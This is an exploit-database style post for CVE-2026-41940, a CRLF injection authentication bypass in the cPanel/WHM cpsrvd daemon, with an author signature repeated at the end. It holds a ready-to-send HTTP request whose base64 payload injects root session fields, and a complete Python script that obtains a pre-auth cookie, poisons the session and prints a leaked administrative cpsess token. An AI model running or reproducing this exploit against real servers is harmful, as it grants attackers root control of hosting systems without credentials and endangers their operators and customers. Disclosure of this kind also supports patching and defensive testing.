cPanel – CRLF Injection
# ExploitTitle: cPanel 11.40 - CRLF Injection # Author: nu11secur1tyAI # Date: 2026-04-30 # Vendor: cPanel, L.L.C. # Software: cPanel & WHM (cpsrvd) # Reference: CVE-2026-41940 / watchTowr-2026-01 ## Description: A critical authentication bypass vulnerability exists in the cPanel/WHM `cpsrvd` daemon due to improper neutralization of line delimiters (CRLF) in the `whostmgrsession` cookie and `Authorization` headers. An unauthenticated remote attacker can leverage this flaw to inject malicious session parameters directly into the server's flat-file session metadata store. By injecting sequences such as `user=root`, `hasroot=1`, and `tfa_verified=1`, the attacker subverts the internal authentication logic, forcing the system to issue a valid administrative session token (`/cpsessXXXXXXXXXX/`). This grants the attacker full `root` privileges over the WHM interface and the host operating system without requiring valid credentials. STATUS: MEDIUM - HIGH / Vulnerability [+] Payload: ```http GET / HTTP/1.1 Host: [TARGET_HOST]:2087 Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x Cookie: whostmgrsession=[PREAUTH_SESSION_ID] Connection: close ``` [+] Exploit (Python): import argparse import re import requests import urllib.parse import urllib3 # Disable SSL warnings for cleaner output urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Crafted B64 payload: # root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1 PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x" def exploit(target): s = requests.Session() s.verify = False print(f"[*] Initializing attack on {target}...") # Stage 1: Obtain pre-auth session base try: r = s.post(f"{target}/login/?login_only=1", data={"user": "root", "pass": "wrong_pass"}, allow_redirects=False, timeout=10) cookie = r.headers.get("Set-Cookie", "") match = re.search(r"whostmgrsession=([^;,]+)", cookie) if not match: print("[-] Error: Could not retrieve whostmgrsession cookie.") return session_base = urllib.parse.unquote(match.group(1)) print(f"[+] Obtained session base: {session_base}") # Stage 2: Poison session via CRLF Injection headers = { "Authorization": f"Basic {PAYLOAD_B64}", "Cookie": f"whostmgrsession={urllib.parse.quote(session_base)}", "Connection": "close" } r = s.get(f"{target}/", headers=headers, allow_redirects=False, timeout=10) # Stage 3: Extract leaked security token location = r.headers.get("Location", "") token_match = re.search(r"/cpsess\d{10}", location) if token_match: token = token_match.group(0) print(f"[!] EXPLOIT SUCCESSFUL!") print(f"[!] Leaked Token: {token}") print(f"[!] Access URL: {target}{token}/") else: print("[-] Exploit failed. The target may be patched or protected by a WAF.") except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="cPanel/WHM CVE-2026-41940 Exploit") parser.add_argument("--target", required=True, help="Target URL (e.g., [https://192.168.1.1:2087](https://192.168.1.1:2087))") args = parser.parse_args() exploit(args.target.rstrip("/")) ``` [+]Reproduce: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-41940 Time spent: 03:45:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty https://www.asc3t1c-nu11secur1ty.com/ -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstorm.news/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |